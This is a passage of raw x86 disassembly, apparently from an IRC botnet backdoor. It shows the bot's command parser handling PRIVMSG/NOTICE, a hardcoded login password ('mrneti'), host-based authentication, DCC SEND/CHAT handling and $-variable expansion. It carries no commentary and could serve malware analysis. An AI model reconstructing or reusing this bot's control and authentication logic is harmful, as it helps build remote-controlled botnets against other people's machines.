3 jge loc_40299C mov eax, [ebp+var_5D8] shl eax, 7 mov ecx, [ebp+arg_18] movsx eax, byte ptr [ecx+eax] test eax, eax jz loc_402997 lea eax, [ebp+var_658] push eax mov eax, [ebp+var_5D8] shl eax, 7 mov ecx, [ebp+arg_18] add ecx, eax push ecx call sub_422740 pop ecx pop ecx test eax, eax jnz loc_402997 push 21h lea eax, [ebp+var_658] push eax call sub_422680 pop ecx pop ecx mov [ebp+var_8E4], eax cmp [ebp+var_8E4], 0 jz short loc_40294C push [ebp+var_874] call sub_41EBD0 pop ecx mov esi, eax push [ebp+var_8E4] call sub_41EBD0 pop ecx add esi, eax cmp esi, 7Eh jbe short loc_402954 loc_40294C: ; CODE XREF: sub_4021E5+744j push 1 pop eax jmp loc_40AFBB ; --------------------------------------------------------------------------- loc_402954: ; CODE XREF: sub_4021E5+765j push [ebp+var_8E4] push [ebp+var_874] push offset aSS ; ":%s%s" mov eax, [ebp+var_5D8] shl eax, 7 mov ecx, [ebp+arg_18] add ecx, eax push ecx call sub_4219C0 add esp, 10h push 0 push 0 lea eax, [ebp+var_8E0] push eax push [ebp+arg_8] push [ebp+arg_4] call sub_40B00F add esp, 14h jmp short loc_40299C ; --------------------------------------------------------------------------- loc_402997: ; CODE XREF: sub_4021E5+6FCj ; sub_4021E5+721j jmp loc_4028B5 ; --------------------------------------------------------------------------- loc_40299C: ; CODE XREF: sub_4021E5+685j ; sub_4021E5+692j ... push 1 pop eax jmp loc_40AFBB ; --------------------------------------------------------------------------- loc_4029A4: ; CODE XREF: sub_4021E5+5ABj push [ebp+var_9C] push offset aPart ; "PART" call sub_422740 pop ecx pop ecx test eax, eax jz short loc_4029D4 push [ebp+var_9C] push offset aQuit ; "QUIT" call sub_422740 pop ecx pop ecx test eax, eax jnz loc_402AA9 loc_4029D4: ; CODE XREF: sub_4021E5+7D3j and [ebp+var_5D8], 0 jmp short loc_4029EA ; --------------------------------------------------------------------------- loc_4029DD: ; CODE XREF: sub_4021E5:loc_402AA4j mov eax, [ebp+var_5D8] inc eax mov [ebp+var_5D8], eax loc_4029EA: ; CODE XREF: sub_4021E5+7F6j cmp [ebp+var_5D8], 3 jge loc_402AA9 mov eax, [ebp+var_5D8] shl eax, 7 mov ecx, [ebp+arg_18] movsx eax, byte ptr [ecx+eax] test eax, eax jz loc_402AA4 push [ebp+var_A0] mov eax, [ebp+var_5D8] shl eax, 7 mov ecx, [ebp+arg_18] add ecx, eax push ecx call sub_422740 pop ecx pop ecx test eax, eax jnz short loc_402AA4 mov eax, [ebp+var_5D8] shl eax, 7 mov ecx, [ebp+arg_18] and byte ptr [ecx+eax], 0 lea eax, [ebp+var_B8] push eax push offset unk_441C88 lea eax, [ebp+var_858] push eax call sub_4219C0 add esp, 0Ch lea eax, [ebp+var_858] push eax call sub_4173DC pop ecx push [ebp+var_9C] push offset aPart_0 ; "PART" call sub_422740 pop ecx pop ecx test eax, eax jnz short loc_402A9C lea eax, [ebp+var_858] push eax mov eax, [ebp+var_A0] inc eax push eax push offset aNoticeSS_0 ; "NOTICE %s :%s\r\n" push [ebp+arg_4] call sub_40AFBE add esp, 10h loc_402A9C: ; CODE XREF: sub_4021E5+896j push 1 pop eax jmp loc_40AFBB ; --------------------------------------------------------------------------- loc_402AA4: ; CODE XREF: sub_4021E5+824j ; sub_4021E5+848j jmp loc_4029DD ; --------------------------------------------------------------------------- loc_402AA9: ; CODE XREF: sub_4021E5+7E9j ; sub_4021E5+80Cj push [ebp+var_9C] push offset a353 ; "353" call sub_422740 pop ecx pop ecx test eax, eax jnz short loc_402AF6 push [ebp+var_90] push [ebp+arg_8] call sub_422740 pop ecx pop ecx test eax, eax jnz short loc_402ADC mov eax, [ebp+arg_20] mov dword ptr [eax], 1 loc_402ADC: ; CODE XREF: sub_4021E5+8ECj push [ebp+var_90] push offset unk_441CC8 call sub_417472 pop ecx pop ecx push 1 pop eax jmp loc_40AFBB ; --------------------------------------------------------------------------- loc_402AF6: ; CODE XREF: sub_4021E5+8D8j push [ebp+var_9C] push offset aPrivmsg ; "PRIVMSG" call sub_422740 pop ecx pop ecx test eax, eax jz short loc_402B49 push [ebp+var_9C] push offset aNotice ; "NOTICE" call sub_422740 pop ecx pop ecx test eax, eax jz short loc_402B49 push [ebp+var_9C] push offset a332 ; "332" call sub_422740 pop ecx pop ecx test eax, eax jnz loc_40AFB8 cmp dword_441088, 0 jz loc_40AFB8 loc_402B49: ; CODE XREF: sub_4021E5+925j ; sub_4021E5+93Bj push [ebp+var_9C] push offset aPrivmsg_0 ; "PRIVMSG" call sub_422740 pop ecx pop ecx test eax, eax jz short loc_402B79 push [ebp+var_9C] push offset aNotice_0 ; "NOTICE" call sub_422740 pop ecx pop ecx test eax, eax jnz loc_402D25 loc_402B79: ; CODE XREF: sub_4021E5+978j push [ebp+var_9C] push offset aNotice_1 ; "NOTICE" call sub_422740 pop ecx pop ecx test eax, eax jnz short loc_402B99 mov [ebp+var_85C], 1 loc_402B99: ; CODE XREF: sub_4021E5+9A8j cmp [ebp+var_98], 0 jnz short loc_402BAA push 1 pop eax jmp loc_40AFBB ; --------------------------------------------------------------------------- loc_402BAA: ; CODE XREF: sub_4021E5+9BBj push offset asc_441D14 ; "#" push [ebp+var_98] call sub_421B10 pop ecx pop ecx test eax, eax jz short loc_402BC9 cmp [ebp+var_85C], 0 jz short loc_402BD5 loc_402BC9: ; CODE XREF: sub_4021E5+9D9j lea eax, [ebp+var_B8] mov [ebp+var_98], eax loc_402BD5: ; CODE XREF: sub_4021E5+9E2j cmp [ebp+var_94], 0 jnz short loc_402BE6 push 1 pop eax jmp loc_40AFBB ; --------------------------------------------------------------------------- loc_402BE6: ; CODE XREF: sub_4021E5+9F7j mov eax, [ebp+var_94] inc eax mov [ebp+var_94], eax cmp [ebp+var_94], 0 jz short loc_402C39 cmp [ebp+arg_10], 0 jz short loc_402C39 lea eax, [ebp+var_20] push eax call sub_41EBD0 pop ecx push eax push [ebp+var_94] lea eax, [ebp+var_20] push eax call sub_422540 add esp, 0Ch test eax, eax jnz short loc_402C2F mov [ebp+var_BC], 4 jmp short loc_402C39 ; --------------------------------------------------------------------------- loc_402C2F: ; CODE XREF: sub_4021E5+A3Cj mov [ebp+var_BC], 3 loc_402C39: ; CODE XREF: sub_4021E5+A15j ; sub_4021E5+A1Bj ... mov eax, [ebp+var_BC] cmp [ebp+eax*4+var_A0], 0 jnz short loc_402C51 push 1 pop eax jmp loc_40AFBB ; --------------------------------------------------------------------------- loc_402C51: ; CODE XREF: sub_4021E5+A62j mov eax, [ebp+var_BC] push [ebp+eax*4+var_A0] push offset dword_441D18 call sub_422740 pop ecx pop ecx test eax, eax jnz loc_402D23 mov eax, [ebp+var_98] movsx eax, byte ptr [eax] cmp eax, 23h jz short loc_402CBD mov eax, dword_4E15A4 mov eax, off_441160[eax*4] movsx eax, byte ptr [eax] test eax, eax jz short loc_402CBD mov eax, dword_4E15A4 push off_441160[eax*4] push [ebp+var_98] push offset dword_441D24 push [ebp+arg_4] call sub_40AFBE add esp, 10h push 1 pop eax jmp loc_40AFBB ; --------------------------------------------------------------------------- loc_402CBD: ; CODE XREF: sub_4021E5+A99j ; sub_4021E5+AACj mov eax, [ebp+var_BC] push [ebp+eax*4+var_A0] push offset dword_441D40 call sub_422740 pop ecx pop ecx test eax, eax jnz short loc_402D23 mov eax, [ebp+var_BC] cmp [ebp+eax*4+var_9C], 0 jz short loc_402D23 mov eax, [ebp+var_98] movsx eax, byte ptr [eax] cmp eax, 23h jz short loc_402D23 mov eax, [ebp+var_BC] push [ebp+eax*4+var_9C] push [ebp+var_98] push offset dword_441D48 push [ebp+arg_4] call sub_40AFBE add esp, 10h push 1 pop eax jmp loc_40AFBB ; --------------------------------------------------------------------------- loc_402D23: ; CODE XREF: sub_4021E5+A87j ; sub_4021E5+AF3j ... jmp short loc_402D48 ; --------------------------------------------------------------------------- loc_402D25: ; CODE XREF: sub_4021E5+98Ej mov [ebp+var_BC], 4 mov eax, [ebp+var_90] inc eax mov [ebp+var_90], eax mov eax, [ebp+var_94] mov [ebp+var_98], eax loc_402D48: ; CODE XREF: sub_4021E5:loc_402D23j mov eax, [ebp+var_BC] push [ebp+eax*4+var_A0] push offset dword_441D60 call sub_422740 pop ecx pop ecx test eax, eax jnz loc_4030C1 mov eax, [ebp+var_BC] push [ebp+eax*4+var_9C] push offset aSend_1 ; "SEND" call sub_422740 pop ecx pop ecx test eax, eax jnz loc_402F18 cmp [ebp+var_864], 0 jz loc_402EDB mov eax, [ebp+var_BC] push [ebp+eax*4+var_98] push offset aS_27 ; "%s" lea eax, [ebp+var_A7C] push eax call sub_4219C0 add esp, 0Ch mov eax, [ebp+var_BC] push [ebp+eax*4+var_94] push offset aS_28 ; "%s" lea eax, [ebp+var_A90] push eax call sub_4219C0 add esp, 0Ch mov eax, [ebp+var_BC] push [ebp+eax*4+var_90] call sub_421670 pop ecx mov [ebp+var_8F8], eax mov eax, [ebp+arg_4] mov [ebp+var_A98], eax push 7Fh lea eax, [ebp+var_B8] push eax lea eax, [ebp+var_978] push eax call sub_421470 add esp, 0Ch mov eax, [ebp+var_85C] mov [ebp+var_8F0], eax mov eax, [ebp+var_4] mov [ebp+var_8EC], eax lea eax, [ebp+var_978] push eax lea eax, [ebp+var_A7C] push eax push offset unk_441D78 lea eax, [ebp+var_858] push eax call sub_4219C0 add esp, 10h push 0 push 1Ah lea eax, [ebp+var_858] push eax call sub_40D32A add esp, 0Ch mov [ebp+var_8F4], eax lea eax, [ebp+var_868] push eax push 0 lea eax, [ebp+var_A98] push eax push offset byte_418CCF push 0 push 0 nop call near ptr 27A0169h mov ecx, [ebp+var_8F4] imul ecx, 234h mov dword_45462C[ecx], eax mov eax, [ebp+var_8F4] imul eax, 234h cmp dword_45462C[eax], 0 jz short loc_402EBE loc_402EA9: ; CODE XREF: sub_4021E5+CD5j cmp [ebp+var_8E8], 0 jnz short loc_402EBC push 32h call near ptr 27A0000h nop jmp short loc_402EA9 ; --------------------------------------------------------------------------- loc_402EBC: ; CODE XREF: sub_4021E5+CCBj jmp short loc_402ED9 ; --------------------------------------------------------------------------- loc_402EBE: ; CODE XREF: sub_4021E5+CC2j nop call near ptr 27A0A66h push eax push offset unk_441DA8 lea eax, [ebp+var_858] push eax call sub_4219C0 add esp, 0Ch loc_402ED9: ; CODE XREF: sub_4021E5:loc_402EBCj jmp short loc_402F03 ; --------------------------------------------------------------------------- loc_402EDB: ; CODE XREF: sub_4021E5+BACj lea eax, [ebp+var_B8] push eax mov eax, [ebp+var_BC] push [ebp+eax*4+var_98] push offset unk_441DE4 lea eax, [ebp+var_858] push eax call sub_4219C0 add esp, 10h loc_402F03: ; CODE XREF: sub_4021E5:loc_402ED9j lea eax, [ebp+var_858] push eax call sub_4173DC pop ecx push 1 pop eax jmp loc_40AFBB ; --------------------------------------------------------------------------- loc_402F18: ; CODE XREF: sub_4021E5+B9Fj mov eax, [ebp+var_BC] push [ebp+eax*4+var_9C] push offset aChat ; "CHAT" call sub_422740 pop ecx pop ecx test eax, eax jnz loc_4030BF cmp [ebp+var_864], 0 jz loc_40308F push 1Bh call sub_40D6D9 pop ecx test eax, eax jnz loc_403072 mov eax, [ebp+var_BC] push [ebp+eax*4+var_94] push offset aS ; "%s" lea eax, [ebp+var_C44] push eax call sub_4219C0 add esp, 0Ch mov eax, [ebp+var_BC] push [ebp+eax*4+var_90] call sub_421670 pop ecx loc_402F8A: ; DATA XREF: .XComp:006126C9o mov [ebp+var_AAC], eax mov eax, [ebp+arg_4] mov [ebp+var_C4C], eax push 7Fh lea eax, [ebp+var_B8] push eax lea eax, [ebp+var_B2C] push eax call sub_421470 add esp, 0Ch mov eax, [ebp+var_85C] mov [ebp+var_AA4], eax mov eax, [ebp+var_4] mov [ebp+var_AA0], eax lea eax, [ebp+var_B8] push eax push offset unk_441E34 lea eax, [ebp+var_858] push eax call sub_4219C0 add esp, 0Ch push 0 push 1Bh lea eax, [ebp+var_858] push eax call sub_40D32A add esp, 0Ch mov [ebp+var_AA8], eax lea eax, [ebp+var_868] push eax push 0 lea eax, [ebp+var_C4C] push eax push offset word_41852A push 0 push 0 call near ptr 27A0169h nop mov ecx, [ebp+var_AA8] imul ecx, 234h mov dword_45462C[ecx], eax mov eax, [ebp+var_AA8] imul eax, 234h cmp dword_45462C[eax], 0 jz short loc_403055 loc_403040: ; CODE XREF: sub_4021E5+E6Cj cmp [ebp+var_A9C], 0 jnz short loc_403053 push 32h call near ptr 27A0000h nop jmp short loc_403040 ; --------------------------------------------------------------------------- loc_403053: ; CODE XREF: sub_4021E5+E62j jmp short loc_403070 ; --------------------------------------------------------------------------- loc_403055: ; CODE XREF: sub_4021E5+E59j call near ptr 27A0A66h nop push eax push offset unk_441E54 lea eax, [ebp+var_858] push eax call sub_4219C0 add esp, 0Ch loc_403070: ; CODE XREF: sub_4021E5:loc_403053j jmp short loc_40308D ; --------------------------------------------------------------------------- loc_403072: ; CODE XREF: sub_4021E5+D6Bj lea eax, [ebp+var_B8] push eax push offset unk_441E8C lea eax, [ebp+var_858] push eax call sub_4219C0 add esp, 0Ch loc_40308D: ; CODE XREF: sub_4021E5:loc_403070j jmp short loc_4030AA ; --------------------------------------------------------------------------- loc_40308F: ; CODE XREF: sub_4021E5+D5Bj lea eax, [ebp+var_B8] push eax push offset unk_441EBC lea eax, [ebp+var_858] push eax call sub_4219C0 add esp, 0Ch loc_4030AA: ; CODE XREF: sub_4021E5:loc_40308Dj lea eax, [ebp+var_858] push eax call sub_4173DC pop ecx push 1 pop eax jmp loc_40AFBB ; --------------------------------------------------------------------------- loc_4030BF: ; CODE XREF: sub_4021E5+D4Ej jmp short loc_4030FF ; --------------------------------------------------------------------------- loc_4030C1: ; CODE XREF: sub_4021E5+B7Ej mov eax, [ebp+var_BC] mov eax, [ebp+eax*4+var_A0] movsx eax, byte ptr [eax] movsx ecx, byte_441090 mov edx, [ebp+var_BC] mov edx, [ebp+edx*4+var_A0] inc edx mov esi, [ebp+var_BC] mov [ebp+esi*4+var_A0], edx cmp eax, ecx jz short loc_4030FF push 1 pop eax jmp loc_40AFBB ; --------------------------------------------------------------------------- loc_4030FF: ; CODE XREF: sub_4021E5:loc_4030BFj ; sub_4021E5+F10j mov eax, [ebp+var_BC] push [ebp+eax*4+var_A0] push offset aLogin ; "login" call sub_422740 pop ecx pop ecx test eax, eax jz short loc_40313D mov eax, [ebp+var_BC] push [ebp+eax*4+var_A0] push offset asc_441EF8 ; "l" call sub_422740 pop ecx pop ecx test eax, eax jnz loc_4033CF loc_40313D: ; CODE XREF: sub_4021E5+F35j mov eax, [ebp+var_BC] cmp [ebp+eax*4+var_9C], 0 jz short loc_403156 cmp [ebp+var_864], 0 jz short loc_40315E loc_403156: ; CODE XREF: sub_4021E5+F66j push 1 pop eax jmp loc_40AFBB ; --------------------------------------------------------------------------- loc_40315E: ; CODE XREF: sub_4021E5+F6Fj push offset asc_441EFC ; "!" push [ebp+var_A0] call sub_4227D0 pop ecx pop ecx inc eax mov [ebp+var_C54], eax push offset dword_4E15B0 push 0 call sub_4227D0 pop ecx pop ecx mov [ebp+var_C58], eax push offset asc_441F00 ; "~" push [ebp+var_C58] call sub_4227D0 pop ecx pop ecx mov [ebp+var_C58], eax mov eax, [ebp+var_BC] push [ebp+eax*4+var_9C] push offset aMrneti_0 ; "mrneti" call sub_422740 pop ecx pop ecx test eax, eax jz short loc_403230 push [ebp+var_C58] lea eax, [ebp+var_B8] push eax lea eax, [ebp+var_B8] push eax push offset aNoticeSPassAut ; "NOTICE %s :Pass auth failed (%s!%s).\r\n" push [ebp+arg_4] call sub_40AFBE add esp, 14h lea eax, [ebp+var_B8] push eax push offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"... push [ebp+arg_4] call sub_40AFBE add esp, 0Ch push [ebp+var_C58] push [ebp+var_C54] push offset unk_441F58 lea eax, [ebp+var_858] push eax call sub_4219C0 add esp, 10h lea eax, [ebp+var_858] push eax call sub_4173DC pop ecx push 1 pop eax jmp loc_40AFBB ; --------------------------------------------------------------------------- loc_403230: ; CODE XREF: sub_4021E5+FD9j and [ebp+var_C50], 0 and [ebp+var_5D8], 0 jmp short loc_40324D ; --------------------------------------------------------------------------- loc_403240: ; CODE XREF: sub_4021E5:loc_403280j mov eax, [ebp+var_5D8] inc eax mov [ebp+var_5D8], eax loc_40324D: ; CODE XREF: sub_4021E5+1059j cmp [ebp+var_5D8], 1 jnb short loc_403282 push [ebp+var_C58] mov eax, [ebp+var_5D8] push off_44115C[eax*4] call sub_40D887 pop ecx pop ecx test eax, eax jz short loc_403280 mov [ebp+var_C50], 1 jmp short loc_403282 ; --------------------------------------------------------------------------- loc_403280: ; CODE XREF: sub_4021E5+108Dj jmp short loc_403240 ; --------------------------------------------------------------------------- loc_403282: ; CODE XREF: sub_4021E5+106Fj ; sub_4021E5+1099j cmp [ebp+var_C50], 0 jnz short loc_4032FB push [ebp+var_C58] lea eax, [ebp+var_B8] push eax lea eax, [ebp+var_B8] push eax push offset aNoticeSHostAut ; "NOTICE %s :Host Auth failed (%s!%s).\r\n" push [ebp+arg_4] call sub_40AFBE add esp, 14h lea eax, [ebp+var_B8] push eax push offset aNoticeSYourA_0 ; "NOTICE %s :Your attempt has been logged"... push [ebp+arg_4] call sub_40AFBE add esp, 0Ch push [ebp+var_C58] push [ebp+var_C54] push offset unk_441FD8 lea eax, [ebp+var_858] push eax call sub_4219C0 add esp, 10h lea eax, [ebp+var_858] push eax call sub_4173DC pop ecx push 1 pop eax jmp loc_40AFBB ; --------------------------------------------------------------------------- loc_4032FB: ; CODE XREF: sub_4021E5+10A4j and [ebp+var_5D8], 0 jmp short loc_403311 ; --------------------------------------------------------------------------- loc_403304: ; CODE XREF: sub_4021E5+1165j ; sub_4021E5:loc_4033C2j mov eax, [ebp+var_5D8] inc eax mov [ebp+var_5D8], eax loc_403311: ; CODE XREF: sub_4021E5+111Dj cmp [ebp+var_5D8], 3 jge loc_4033C7 mov eax, [ebp+var_BC] cmp [ebp+eax*4+var_9C], 0 jnz short loc_403336 push 1 pop eax jmp loc_40AFBB ; --------------------------------------------------------------------------- loc_403336: ; CODE XREF: sub_4021E5+1147j mov eax, [ebp+var_5D8] shl eax, 7 mov ecx, [ebp+arg_18] movsx eax, byte ptr [ecx+eax] test eax, eax jz short loc_40334C jmp short loc_403304 ; --------------------------------------------------------------------------- loc_40334C: ; CODE XREF: sub_4021E5+1163j mov eax, [ebp+var_BC] push [ebp+eax*4+var_9C] push offset aMrneti_0 ; "mrneti" call sub_422740 pop ecx pop ecx test eax, eax jnz short loc_4033C2 push 7Fh lea eax, [ebp+var_658] push eax mov eax, [ebp+var_5D8] shl eax, 7 mov ecx, [ebp+arg_18] add ecx, eax push ecx call sub_421470 add esp, 0Ch cmp [ebp+var_4], 0 jnz short loc_4033AD push 0 push [ebp+var_85C] push offset unk_442004 push [ebp+var_98] push [ebp+arg_4] call sub_40B00F add esp, 14h loc_4033AD: ; CODE XREF: sub_4021E5+11A8j lea eax, [ebp+var_B8] push eax push offset unk_442024 call sub_417472 pop ecx pop ecx jmp short loc_4033C7 ; --------------------------------------------------------------------------- loc_4033C2: ; CODE XREF: sub_4021E5+1182j jmp loc_403304 ; --------------------------------------------------------------------------- loc_4033C7: ; CODE XREF: sub_4021E5+1133j ; sub_4021E5+11DBj push 1 pop eax jmp loc_40AFBB ; --------------------------------------------------------------------------- loc_4033CF: ; CODE XREF: sub_4021E5+F52j cmp [ebp+var_864], 0 jnz short loc_4033F2 push [ebp+var_9C] push offset a332_1 ; "332" call sub_422740 pop ecx loc_4033E9: ; DATA XREF: sub_610867+251w pop ecx test eax, eax jnz loc_40AFB8 loc_4033F2: ; CODE XREF: sub_4021E5+11F1j cmp [ebp+arg_28], 0 loc_4033F6: ; DATA XREF: sub_610867+262w jnz loc_40AFB8 and [ebp+var_5D8], 0 jmp short loc_403412 ; --------------------------------------------------------------------------- loc_403405: ; CODE XREF: sub_4021E5:loc_403696j mov eax, [ebp+var_5D8] inc eax mov [ebp+var_5D8], eax loc_403412: ; CODE XREF: sub_4021E5+121Ej mov eax, [ebp+var_5D8] cmp eax, dword_4414AC jge loc_40369B mov eax, [ebp+var_BC] loc_40342A: ; DATA XREF: .XComp:00611E6Fr ; .XComp:loc_611E8Ar ... push [ebp+eax*4+var_A0] loc_403431: ; DATA XREF: sub_610867:loc_61089Ar ; sub_610867+BEr ... mov eax, [ebp+var_5D8] loc_403437: imul eax, 0B8h add eax, offset byte_453898 push eax call sub_422740 pop ecx pop ecx test eax, eax jnz loc_403696 push offset asc_442048 ; " :" push [ebp+arg_0] call sub_421B10 pop ecx pop ecx mov [ebp+var_C5C], eax cmp [ebp+var_C5C], 0 jnz short loc_403478 push 1 pop eax jmp loc_40AFBB ; --------------------------------------------------------------------------- loc_403478: ; CODE XREF: sub_4021E5+1289j mov eax, [ebp+var_C5C] mov cl, byte_441090 mov [eax+2], cl mov eax, [ebp+var_C5C] mov cl, byte_441090 mov [eax+3], cl push 9Fh mov eax, [ebp+var_5D8] imul eax, 0B8h add eax, offset dword_4538B0 push eax mov eax, [ebp+var_C5C] add eax, 4 push eax call sub_421470 add esp, 0Ch mov [ebp+var_C0], 0Fh jmp short loc_4034D8 ; --------------------------------------------------------------------------- loc_4034CB: ; CODE XREF: sub_4021E5:loc_4035F4j mov eax, [ebp+var_C0] dec eax mov [ebp+var_C0], eax loc_4034D8: ; CODE XREF: sub_4021E5+12E4j cmp [ebp+var_C0], 0 jle loc_4035F9 push [ebp+var_C0] push offset aD ; "$%d-" lea eax, [ebp+var_D0] push eax call sub_4219C0 add esp, 0Ch lea eax, [ebp+var_D0] push eax push [ebp+arg_0] call sub_421B10 pop ecx pop ecx test eax, eax jz loc_4035A6 mov eax, [ebp+var_BC] add eax, [ebp+var_C0] cmp [ebp+eax*4+var_9C], 0 jz short loc_4035A6 mov eax, [ebp+var_5D8] imul eax, 0B8h add eax, offset byte_453898 push eax loc_403540: ; DATA XREF: sub_6106C1+18Ew ; sub_6108E5+11r call sub_41EBD0 pop ecx mov ecx, [ebp+var_2D4] add ecx, eax mov [ebp+var_2D4], ecx cmp [ebp+var_2D4], 0 jz short loc_4035A4 mov eax, [ebp+var_BC] add eax, [ebp+var_C0] push [ebp+eax*4+var_A0] loc_403570: ; DATA XREF: sub_610867:loc_610A50r push [ebp+var_2D4] call sub_421B10 pop ecx loc_40357C: ; DATA XREF: sub_6124DE+7r pop ecx mov [ebp+var_C60], eax cmp [ebp+var_C60], 0 jz short loc_4035A4 push [ebp+var_C60] lea eax, [ebp+var_D0] push eax push [ebp+arg_0] call sub_41A1B4 add esp, 0Ch loc_4035A4: ; CODE XREF: sub_4021E5+1376j ; sub_4021E5+13A5j ; DATA XREF: ... jmp short loc_4035F4 ; --------------------------------------------------------------------------- loc_4035A6: ; CODE XREF: sub_4021E5+132Dj ; sub_4021E5+1347j mov eax, [ebp+var_BC] add eax, [ebp+var_C0] cmp [ebp+eax*4+var_9C], 0 jnz short loc_4035F4 loc_4035BC: ; DATA XREF: sub_610A40+7r push 2 lea eax, [ebp+var_D0] loc_4035C4: ; DATA XREF: sub_612A1A+13r push eax lea eax, [ebp+var_860] push eax call sub_421470 add esp, 0Ch loc_4035D4: ; DATA XREF: sub_610867+22Ar ; .XComp:loc_611100r and [ebp+var_85E], 0 lea eax, [ebp+var_860] push eax lea eax, [ebp+var_D0] loc_4035E8: ; DATA XREF: sub_610867+239r ; .XComp:00611111r push eax push [ebp+arg_0] call sub_41A1B4 add esp, 0Ch loc_4035F4: ; CODE XREF: sub_4021E5:loc_4035A4j ; sub_4021E5+13D5j ; DATA XREF: ... jmp loc_4034CB ; --------------------------------------------------------------------------- loc_4035F9: ; CODE XREF: sub_4021E5+12FAj mov [ebp+var_C0], 10h jmp short loc_403612 ; --------------------------------------------------------------------------- loc_403605: ; CODE XREF: sub_4021E5:loc_403685j mov eax, [ebp+var_C0] dec eax mov [ebp+var_C0], eax loc_403612: ; CODE XREF: sub_4021E5+141Ej cmp [ebp+var_C0], 0 jle short loc_40368A push [ebp+var_C0] push offset aD_0 ; "$%d" lea eax, [ebp+var_D0] push eax call sub_4219C0 add esp, 0Ch lea eax, [ebp+var_D0] push eax push [ebp+arg_0] call sub_421B10 pop ecx pop ecx loc_403646: ; DATA XREF: sub_61122Dr sub_61122D+Bw test eax, eax jz short loc_403685 mov eax, [ebp+var_BC] add eax, [ebp+var_C0] cmp [ebp+eax*4+var_A0], 0 jz short loc_403685 mov eax, [ebp+var_BC] add eax, [ebp+var_C0] push [ebp+eax*4+var_A0] lea eax, [ebp+var_D0] push eax push [ebp+arg_0] call sub_41A1B4 add esp, 0Ch loc_403685: ; CODE XREF: sub_4021E5+1463j ; sub_4021E5+1479j jmp loc_403605 ; --------------------------------------------------------------------------- loc_40368A: ; CODE XREF: sub_4021E5+1434j mov [ebp+var_C4], 1 jmp short loc_40369B ; --------------------------------------------------------------------------- loc_403696: ; CODE XREF: sub_4021E5+1267j jmp loc_403405 ; --------------------------------------------------------------------------- loc_40369B: ; CODE XREF: sub_4021E5+1239j ; sub_4021E5+14AFj mov eax, [ebp+var_BC] mov eax, [ebp+eax*4+var_A0] movsx eax, byte ptr [eax] movsx ecx, byte_441090 cmp eax, ecx jz short loc_4036C3 cmp [ebp+var_C4], 0 jz loc_403927 loc_4036C3: ; CODE XREF: sub_4021E5+14CFj push [ebp+arg_10] push offset aMe ; "$me" push [ebp+arg_0] call sub_41A1B4 add esp, 0Ch lea eax, [ebp+var_B8] push eax push offset aUser_3 ; "$user" push [ebp+arg_0] call sub_41A1B4 add esp, 0Ch push [ebp+var_98] push offset aChan ; "$chan" push [ebp+arg_0] call sub_41A1B4 add esp, 0Ch push 0 push 0 push 2 lea eax, [ebp+var_D0] push eax call sub_40CE78 add esp, 10h push eax push offset aRndnick_0 ; "$rndnick" push [ebp+arg_0] call sub_41A1B4 add esp, 0Ch push [ebp+arg_14] push offset aServer_6 ; "$server" push [ebp+arg_0] call sub_41A1B4 add esp, 0Ch loc_40373C: ; CODE XREF: sub_4021E5+167Ej push offset aChr ; "$chr(" push [ebp+arg_0] call sub_421B10 pop ecx pop ecx test eax, eax jz loc_403868 push offset aChr_0 ; "$chr(" push [ebp+arg_0] call sub_421B10 pop ecx pop ecx mov [ebp+var_C64], eax push 4 mov eax, [ebp+var_C64] add eax, 5 push eax lea eax, [ebp+var_D0] push eax call sub_421470 add esp, 0Ch push offset asc_442090 ; ")" lea eax, [ebp+var_D0] push eax call sub_4227D0 pop ecx pop ecx movsx eax, [ebp+var_D0] cmp eax, 30h jl short loc_4037AE movsx eax, [ebp+var_D0] cmp eax, 39h jle short loc_4037C4 loc_4037AE: ; CODE XREF: sub_4021E5+15BBj push 3 push offset a63 ; "63" lea eax, [ebp+var_D0] push eax call sub_421470 add esp, 0Ch loc_4037C4: ; CODE XREF: sub_4021E5+15C7j lea eax, [ebp+var_D0] push eax call sub_421670 pop ecx test eax, eax jle short loc_4037EA lea eax, [ebp+var_D0] push eax call sub_421670 pop ecx mov [ebp+var_860], al jmp short loc_4037FE ; --------------------------------------------------------------------------- loc_4037EA: ; CODE XREF: sub_4021E5+15EEj call sub_421AD0 cdq push 60h pop ecx idiv ecx add edx, 20h mov [ebp+var_860], dl loc_4037FE: ; CODE XREF: sub_4021E5+1603j and [ebp+var_85F], 0 lea eax, [ebp+var_D0] push eax call sub_41EBD0 pop ecx mov [ebp+var_C0], eax push 0Ch push 0 lea eax, [ebp+var_D0] push eax call sub_421410 add esp, 0Ch mov eax, [ebp+var_C0] add eax, 6 push eax push [ebp+var_C64] lea eax, [ebp+var_D0] push eax call sub_421470 add esp, 0Ch lea eax, [ebp+var_860] push eax lea eax, [ebp+var_D0] push eax push [ebp+arg_0] call sub_41A1B4 add esp, 0Ch jmp loc_40373C ; --------------------------------------------------------------------------- loc_403868: ; CODE XREF: sub_4021E5+1568j push 1FFh push [ebp+arg_0] lea eax, [ebp+var_2D0] push eax call sub_421470 add esp, 0Ch push 1FFh lea eax, [ebp+var_2D0] push eax lea eax, [ebp+var_5D4] push eax call sub_421470 add esp, 0Ch push offset asc_442098 ; " " lea eax, [ebp+var_5D4] push eax call sub_4227D0 pop ecx pop ecx mov [ebp+var_A0], eax mov [ebp+var_5D8], 1 jmp short loc_4038CC ; --------------------------------------------------------------------------- loc_4038BF: ; CODE XREF: sub_4021E5+170Bj mov eax, [ebp+var_5D8] inc eax mov [ebp+var_5D8], eax loc_4038CC: ; CODE XREF: sub_4021E5+16D8j cmp [ebp+var_5D8], 20h jge short loc_4038F2 push offset asc_44209C ; " " push 0 call sub_4227D0 pop ecx pop ecx mov ecx, [ebp+var_5D8] mov [ebp+ecx*4+var_A0], eax jmp short loc_4038BF ; --------------------------------------------------------------------------- loc_4038F2: ; CODE XREF: sub_4021E5+16EEj mov eax, [ebp+var_BC] cmp [ebp+eax*4+var_A0], 0 jnz short loc_40390A push 1 pop eax jmp loc_40AFBB ; --------------------------------------------------------------------------- loc_40390A: ; CODE XREF: sub_4021E5+171Bj mov eax, [ebp+var_BC] mov eax, [ebp+eax*4+var_A0] add eax, 3 mov ecx, [ebp+var_BC] mov [ebp+ecx*4+var_A0], eax loc_403927: ; CODE XREF: sub_4021E5+14D8j mov eax, [ebp+var_BC] push [ebp+eax*4+var_A0] push offset aRndnick ; "rndnick" call sub_422740 pop ecx pop ecx test eax, eax jz short loc_403961 mov eax, [ebp+var_BC] push [ebp+eax*4+var_A0] push offset aRn ; "rn" loc_403956: ; DATA XREF: sub_6124DE+4Bw ; sub_6124DE+73r ... call sub_422740 pop ecx pop ecx test eax, eax jnz short 